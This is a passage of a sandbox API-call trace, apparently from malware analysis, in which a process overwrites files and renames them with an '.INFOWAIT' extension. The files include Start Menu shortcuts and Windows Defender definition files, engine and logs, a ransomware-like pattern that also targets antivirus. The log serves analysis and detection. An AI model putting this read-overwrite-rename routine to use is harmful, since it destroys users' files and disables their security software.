lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4de, lpOverlapped=0x0) returned 1 [0137.161] VirtualAlloc (lpAddress=0x0, dwSize=0x4de, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.161] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.162] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4de, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4de, lpOverlapped=0x0) returned 1 [0137.162] CloseHandle (hObject=0xad4) returned 1 [0137.162] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" [0137.162] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk.INFOWAIT" [0137.162] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk.infowait")) returned 1 [0137.162] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.163] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.163] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.163] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\windows update.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.167] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f2 [0137.167] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.167] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.167] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4f2, lpOverlapped=0x0) returned 1 [0137.171] VirtualAlloc (lpAddress=0x0, dwSize=0x4f2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.172] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.172] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4f2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4f2, lpOverlapped=0x0) returned 1 [0137.172] CloseHandle (hObject=0xad4) returned 1 [0137.172] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" [0137.172] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk.INFOWAIT" [0137.172] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\windows update.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\windows update.lnk.infowait")) returned 1 [0137.173] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.174] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.174] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.175] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb17190 [0137.175] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.175] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.175] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.187] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.187] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.187] CloseHandle (hObject=0xad4) returned 1 [0137.188] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" [0137.188] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.INFOWAIT" [0137.188] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasbase.vdm.infowait")) returned 1 [0137.188] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.189] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.190] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.190] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.190] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x52d90 [0137.190] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.191] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.191] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.194] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.203] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.203] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.204] CloseHandle (hObject=0xad4) returned 1 [0137.204] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" [0137.204] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.INFOWAIT" [0137.204] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm.infowait")) returned 1 [0137.205] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.206] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.207] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.207] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.207] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7d1d50 [0137.207] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.208] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.208] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.210] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.231] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.231] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.232] CloseHandle (hObject=0xad4) returned 1 [0137.232] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" [0137.232] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.INFOWAIT" [0137.232] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpengine.dll.infowait")) returned 1 [0137.232] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.233] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.234] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.234] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.234] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x33b60 [0137.234] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.235] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.235] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.237] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.249] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.249] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.250] CloseHandle (hObject=0xad4) returned 1 [0137.250] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" [0137.250] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.INFOWAIT" [0137.250] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin.infowait")) returned 1 [0137.251] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.252] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.253] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.253] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\history.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0137.255] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2 [0137.255] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.255] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.255] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2, lpOverlapped=0x0) returned 1 [0137.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.257] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.257] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2, lpOverlapped=0x0) returned 1 [0137.257] CloseHandle (hObject=0xad0) returned 1 [0137.258] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" [0137.258] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.INFOWAIT" [0137.258] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\history.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\history.log.infowait")) returned 1 [0137.258] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.259] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.260] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.260] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0137.260] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1a6e [0137.260] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.261] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.261] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1a6e, lpOverlapped=0x0) returned 1 [0137.327] VirtualAlloc (lpAddress=0x0, dwSize=0x1a6e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0137.328] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.328] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1a6e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1a6e, lpOverlapped=0x0) returned 1 [0137.328] CloseHandle (hObject=0xad0) returned 1 [0137.328] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" [0137.328] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.INFOWAIT" [0137.328] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.infowait")) returned 1 [0137.329] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.330] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.331] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.331] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0137.331] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fbca [0137.331] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.332] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 